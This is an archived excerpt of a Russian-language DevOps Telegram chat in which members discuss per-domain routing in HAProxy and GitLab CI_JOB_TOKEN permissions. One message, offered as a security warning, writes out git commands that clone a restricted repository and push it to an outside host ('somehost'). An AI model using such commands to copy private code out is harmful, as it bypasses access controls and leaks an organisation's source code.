Телеграмм чат группы devops

Size: a a a

DevOps — русскоговорящее сообщество

2020 August 21

Nurmukhamed Artykaly in DevOps — русскоговорящее сообщество

Как в haproxy сделать ображение по доменам? Например domain1 proxy pass server1, domain2 proxy pass server2

Работает только для режима http

https://www.haproxy.com/blog/enhanced-ssl-load-balancing-with-server-name-indication-sni-tls-extension/

HAProxy Technologies

Enhanced SSL Load Balancing with Server Name Indication (SNI) TLS Extension - HAProxy Technologies

Synopsis Some time ago, we wrote an article which explained how to load-balance SSL services, maintaining affinity using the SSLID. The main limitation of this kind of architecture is that you must dedicate a public IP address and port per service. If you’re hosting web or mail services, you could run out of public IP […]

источник

08:07пожаловаться #1

Roman in DevOps — русскоговорящее сообщество

Nurmukhamed Artykaly

Работает только для режима http

https://www.haproxy.com/blog/enhanced-ssl-load-balancing-with-server-name-indication-sni-tls-extension/

HAProxy Technologies

Enhanced SSL Load Balancing with Server Name Indication (SNI) TLS Extension - HAProxy Technologies

Нет, это не то, что я спрашивал. У меня есть 2 поддомена которые указывают на 1 айпи. Могу я так сделать типа
Bind domain1 use backend1
Bind domain2 usr backend2?

источник

08:17пожаловаться #2

VR in DevOps — русскоговорящее сообщество

Roman

Да, с помощью NGINX Ingress, например

источник

08:46пожаловаться #3

VR in DevOps — русскоговорящее сообщество

Да, с помощью NGINX Ingress, например

Сорян, думал речь про кубер 😬

источник

08:48пожаловаться #4

Nurmukhamed Artykaly in DevOps — русскоговорящее сообщество

Roman

Ну я что пишу тебе?
Создаёшь в днс а записи указываешь на этот айпиадрес.

Затем делаешь в haproxy новый frontend type http,
Затем в этом фронтенде указываешь логику

источник

09:00пожаловаться #5

Anton Patsev in DevOps — русскоговорящее сообщество

Roman

Как в haproxy сделать ображение по доменам? Например domain1 proxy pass server1, domain2 proxy pass server2

Для haproxy есть отдельный чат @haproxy_ru

источник

09:44пожаловаться #6

Sergey in DevOps — русскоговорящее сообщество

Коллеги подскажите плиз ) а пользователь запустивший пайплайн может клонировать репы к которому у него нет прав если указан CI_JOB_TOKEN

источник

09:56пожаловаться #7

Sergey in DevOps — русскоговорящее сообщество

источник

09:56пожаловаться #8

Sergey in DevOps — русскоговорящее сообщество

Просто я как админ в гитлабе могу норм запускать пайп в котором клонятся репы а обычные пользователи (девелоперы) не могут так как пайп валится на ошибке что мол такого репозитория не существует

источник

10:00пожаловаться #9

ДА

Дмитрий Андреев... in DevOps — русскоговорящее сообщество

на сколько я помню, ci_job_token наследует права пользователя, который стриггерил запуск ci

источник

10:01пожаловаться #10

Sergey in DevOps — русскоговорящее сообщество

ага я нашел

источник

10:05пожаловаться #11

Sergey in DevOps — русскоговорящее сообщество

уже

источник

10:05пожаловаться #12

Sergey in DevOps — русскоговорящее сообщество

спасибо

источник

10:05пожаловаться #13

Sergey in DevOps — русскоговорящее сообщество

сча токен сделаю и вставлю его

источник

10:05пожаловаться #14

ДА

Дмитрий Андреев... in DevOps — русскоговорящее сообщество

Sergey

сча токен сделаю и вставлю его

ты же понимаешь, что в таком случае можно добавить в пайплайн что-то вроде
git clone репозиторий_к_которому_нет_прав_в_обычное_время
git remote add second git@somehost/somerepo.git
git push second master
если не очень добросовестный? следы вида логов ci останутся, конечно, но всё равно

источник

10:08пожаловаться #15

Sergey in DevOps — русскоговорящее сообщество

токен только на чтение репозитория )

источник

10:08пожаловаться #16

Sergey in DevOps — русскоговорящее сообщество

реад онли

источник

10:08пожаловаться #17

Sergey in DevOps — русскоговорящее сообщество